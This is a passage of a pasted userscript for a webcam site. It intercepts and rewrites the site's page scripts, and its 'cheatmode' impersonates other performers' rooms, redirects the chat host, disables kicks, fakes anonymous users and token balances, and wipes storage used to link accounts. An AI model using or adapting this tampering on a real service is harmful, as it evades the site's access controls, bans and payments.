  2495. 826.    // we will always kill swf storage and earase exisiting storage
  2496.  
  2497.  
  2498. 827.            if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script
  2499.  
  2500.  
  2501. 828.    
  2502.  
  2503.  
  2504. 829.            if(!e.target.id){// already altered ? , then ID is set
  2505.  
  2506.  
  2507. 830.    
  2508.  
  2509.  
  2510. 831.            script=e.target.innerHTML;
  2511.  
  2512.  
  2513. 832.            e.preventDefault();
  2514.  
  2515.  
  2516. 833.            e.stopPropagation();
  2517.  
  2518.  
  2519. 834.            e.target.parentNode.removeChild(e.target);
  2520.  
  2521.  
  2522. 835.    
  2523.  
  2524.  
  2525. 836.            script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()");
  2526.  
  2527.  
  2528. 837.    
  2529.  
  2530.  
  2531. 838.            scrip=document.createElement('script');
  2532.  
  2533.  
  2534. 839.            scrip.id="newswfstor";
  2535.  
  2536.  
  2537. 840.    
  2538.  
  2539.  
  2540. 841.            scrip.innerHTML=script;
  2541.  
  2542.  
  2543. 842.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2544.  
  2545.  
  2546. 843.    
  2547.  
  2548.  
  2549. 844.            }}
  2550.  
  2551.  
  2552. 845.    
  2553.  
  2554.  
  2555. 846.    
  2556.  
  2557.  
  2558. 847.    // this part does the flash init script , only remove logo if in normal mode
  2559.  
  2560.  
  2561. 848.            if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script
  2562.  
  2563.  
  2564. 849.    
  2565.  
  2566.  
  2567. 850.            if(!e.target.id){// already altered ? , then ID is set
  2568.  
  2569.  
  2570. 851.          
  2571.  
  2572.  
  2573. 852.            script=e.target.innerHTML;
  2574.  
  2575.  
  2576. 853.            e.preventDefault();
  2577.  
  2578.  
  2579. 854.            e.stopPropagation();
  2580.  
  2581.  
  2582. 855.            e.target.parentNode.removeChild(e.target);
  2583.  
  2584.  
  2585. 856.    
  2586.  
  2587.  
  2588. 857.            scrip=document.createElement('script');
  2589.  
  2590.  
  2591. 858.            scrip.id="newvid";
  2592.  
  2593.  
  2594. 859.    
  2595.  
  2596.  
  2597. 860.            script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png","");
  2598.  
  2599.  
  2600. 861.    
  2601.  
  2602.  
  2603. 862.    
  2604.  
  2605.  
  2606. 863.    
  2607.  
  2608.  
  2609. 864.            if (!readCookie("cheatmode")){
  2610.  
  2611.  
  2612. 865.            scrip.innerHTML=script;
  2613.  
  2614.  
  2615. 866.            document.getElementsByTagName('body')[0].appendChild(scrip);  
  2616.  
  2617.  
  2618. 867.            return} // only do the rest if we are in cheatmode , return here if in normal mode
  2619.  
  2620.  
  2621. 868.    
  2622.  
  2623.  
  2624. 869.            mode=readCookie("cheatmode").split("&");
  2625.  
  2626.  
  2627. 870.            preformer=mode[0];
  2628.  
  2629.  
  2630. 871.            anon=mode[1];
  2631.  
  2632.  
  2633. 872.            mob=mode[2];
  2634.  
  2635.  
  2636. 873.            chost=mode[3];
  2637.  
  2638.  
  2639. 874.    
  2640.  
  2641.  
  2642. 875.            orgname=document.location.href.split("/")[4];
  2643.  
  2644.  
  2645. 876.    
  2646.  
  2647.  
  2648. 877.            var patrn = new RegExp(orgname,"ig");
  2649.  
  2650.  
  2651. 878.            script=script.replace(patrn,preformer);
  2652.  
  2653.  
  2654. 879.    
  2655.  
  2656.  
  2657. 880.            if((anon==1)||(mob==1)){
  2658.  
  2659.  
  2660. 881.            pos1 = script.indexOf('ProductInstall.swf",');
  2661.  
  2662.  
  2663. 882.            pos2 = script.indexOf("',",pos1);
  2664.  
  2665.  
  2666. 883.            script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n            \'AnonymousUser');
  2667.  
  2668.  
  2669. 884.    
  2670.  
  2671.  
  2672. 885.            pos1 = script.indexOf("pbkdf2_sha256");
  2673.  
  2674.  
  2675. 886.            pos2 = script.indexOf("',",pos1);
  2676.  
  2677.  
  2678. 887.            script=script.replace(script.substring(pos1,pos2),"anonymous");
  2679.  
  2680.  
  2681. 888.            }
  2682.  
  2683.  
  2684. 889.    
  2685.  
  2686.  
  2687. 890.            scrip.innerHTML=script;
  2688.  
  2689.  
  2690. 891.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2691.  
  2692.  
  2693. 892.    
  2694.  
  2695.  
  2696. 893.            }}
  2697.  
  2698.  
  2699. 894.    
  2700.  
  2701.  
  2702. 895.    // next only if in cheatmode
  2703.  
  2704.  
  2705. 896.            if (!readCookie("cheatmode")){return}
  2706.  
  2707.  
  2708. 897.            mode=readCookie("cheatmode").split("&");
  2709.  
  2710.  
  2711. 898.            preformer=mode[0];
  2712.  
  2713.  
  2714. 899.            anon=mode[1];
  2715.  
  2716.  
  2717. 900.            mob=mode[2];
  2718.  
  2719.  
  2720. 901.            chost=mode[3];
  2721.  
  2722.  
  2723. 902.    
  2724.  
  2725.  
  2726. 903.            orgname=document.location.href.split("/")[4];
  2727.  
  2728.  
  2729. 904.    
  2730.  
  2731.  
  2732. 905.            if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script
  2733.  
  2734.  
  2735. 906.    
  2736.  
  2737.  
  2738. 907.            if(!e.target.id){// already altered ? , then ID is set
  2739.  
  2740.  
  2741. 908.    
  2742.  
  2743.  
  2744. 909.            script=e.target.innerHTML;
  2745.  
  2746.  
  2747. 910.            e.preventDefault();
  2748.  
  2749.  
  2750. 911.            e.stopPropagation();
  2751.  
  2752.  
  2753. 912.            e.target.parentNode.removeChild(e.target);
  2754.  
  2755.  
  2756. 913.    
  2757.  
  2758.  
  2759. 914.            var patrn = new RegExp(orgname,"ig");
  2760.  
  2761.  
  2762. 915.            script=script.replace(patrn,preformer);
  2763.  
  2764.  
  2765. 916.    
  2766.  
  2767.  
  2768. 917.            script=script.replace("rtmp://chat1",chost);
  2769.  
  2770.  
  2771. 918.            script=script.replace("rtmp://chat2",chost);
  2772.  
  2773.  
  2774. 919.    
  2775.  
  2776.  
  2777. 920.            script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib.
  2778.  
  2779.  
  2780. 921.    
  2781.  
  2782.  
  2783. 922.            script=script.replace("window.location.reload()","return"); // no more kick
  2784.  
  2785.  
  2786. 923.    
  2787.  
  2788.  
  2789. 924.            pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat
  2790.  
  2791.  
  2792. 925.            script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0");
  2793.  
  2794.  
  2795. 926.    
  2796.  
  2797.  
  2798. 927.            if (mob==1){
  2799.  
  2800.  
  2801. 928.            script=script.replace("force_handler: null","force_handler: html_handler")}
  2802.  
  2803.  
  2804. 929.    
  2805.  
  2806.  
  2807. 930.            if(anon==1){
  2808.  
  2809.  
  2810. 931.            rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
  2811.  
  2812.  
  2813. 932.            username="";
  2814.  
  2815.  
  2816. 933.            l=5+Math.floor((Math.random()*6)+1);
  2817.  
  2818.  
  2819. 934.            for (i=0; i<l; i++){
  2820.  
  2821.  
  2822. 935.            rand = Math.floor(Math.random()*rd.length);
  2823.  
  2824.  
  2825. 936.            username=username+rd.charAt(rand)}
  2826.  
  2827.  
  2828. 937.            username = "__anonymous__"+username;
  2829.  
  2830.  
  2831. 938.    
  2832.  
  2833.  
  2834. 939.            pos1 = script.indexOf("username: '");
  2835.  
  2836.  
  2837. 940.            pos2 = script.indexOf("',",pos1);
  2838.  
  2839.  
  2840. 941.            script=script.replace(script.substring(pos1,pos2),"username: '"+username);
  2841.  
  2842.  
  2843. 942.    
  2844.  
  2845.  
  2846. 943.            pos1 = script.indexOf("my_username: '");
  2847.  
  2848.  
  2849. 944.            pos2 = script.indexOf("',",pos1);
  2850.  
  2851.  
  2852. 945.            script=script.replace(script.substring(pos1,pos2),"my_username: '");
  2853.  
  2854.  
  2855. 946.    
  2856.  
  2857.  
  2858. 947.            pos1 = script.indexOf("token_balance:");
  2859.  
  2860.  
  2861. 948.            pos2 = script.indexOf(",",pos1);
  2862.  
  2863.  
  2864. 949.            script=script.replace(script.substring(pos1,pos2),"token_balance: 0")
  2865.  
  2866.  
  2867. 950.    
  2868.  
  2869.  
  2870. 951.            pos1 = script.indexOf("pbkdf2_sha256");
  2871.  
  2872.  
  2873. 952.            pos2 = script.indexOf("',",pos1);
  2874.  
  2875.  
  2876. 953.            script=script.replace(script.substring(pos1,pos2),"anonymous");
  2877.  
  2878.  
  2879. 954.            } // end if anon
  2880.  
  2881.  
  2882. 955.    
  2883.  
  2884.  
  2885. 956.    
  2886.  
  2887.  
  2888. 957.            scrip=document.createElement('script');
  2889.  
  2890.  
  2891. 958.            scrip.id="newchat";
  2892.  
  2893.  
  2894. 959.    
  2895.  
  2896.  
  2897. 960.            scrip.innerHTML=script;
  2898.  
  2899.  
  2900. 961.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2901.  
  2902.  
  2903. 962.    
  2904.  
  2905.  
  2906. 963.            }}
  2907.  
  2908.  
  2909. 964.    
  2910.  
  2911.  
  2912. 965.    // next room url or else sorted userlist fails
  2913.  
  2914.  
  2915. 966.            if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script
  2916.  
  2917.  
  2918. 967.    
  2919.  
  2920.  
  2921. 968.            if(!e.target.id){// already altered ? , then ID is set
  2922.  
  2923.  
  2924. 969.          
  2925.  
  2926.  
  2927. 970.            script=e.target.innerHTML;
  2928.  
  2929.  
  2930. 971.            e.preventDefault();
  2931.  
  2932.  
  2933. 972.            e.stopPropagation();
  2934.  
  2935.  
  2936. 973.            e.target.parentNode.removeChild(e.target);
  2937.  
  2938.  
  2939. 974.    
  2940.  
  2941.  
  2942. 975.            var patrn = new RegExp(orgname,"ig");
  2943.  
  2944.  
  2945. 976.            script=script.replace(patrn,preformer);
  2946.  
  2947.  
  2948. 977.    
  2949.  
  2950.  
  2951. 978.            scrip=document.createElement('script');
  2952.  
  2953.  
  2954. 979.            scrip.id="newnext";
  2955.  
  2956.  
  2957. 980.    
  2958.  
  2959.  
  2960. 981.            scrip.innerHTML=script;
  2961.  
  2962.  
  2963. 982.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2964.  
  2965.  
  2966. 983.    
  2967.  
  2968.  
  2969. 984.            }}
  2970.  
  2971.  
  2972. 985.            }
  2973.  
  2974.  
  2975. 986.    
  2976.  
  2977.  
  2978. 987.    window.addEventListener("DOMContentLoaded", function() { do_script() }, false);
  2979.  
  2980.  
  2981. 988.    
  2982.  
  2983.  
  2984. 989.    window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false);
  2985.  
  2986.  
  2987. 990.    
  2988.  
  2989.  
  2990. 991.    //.user.js
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement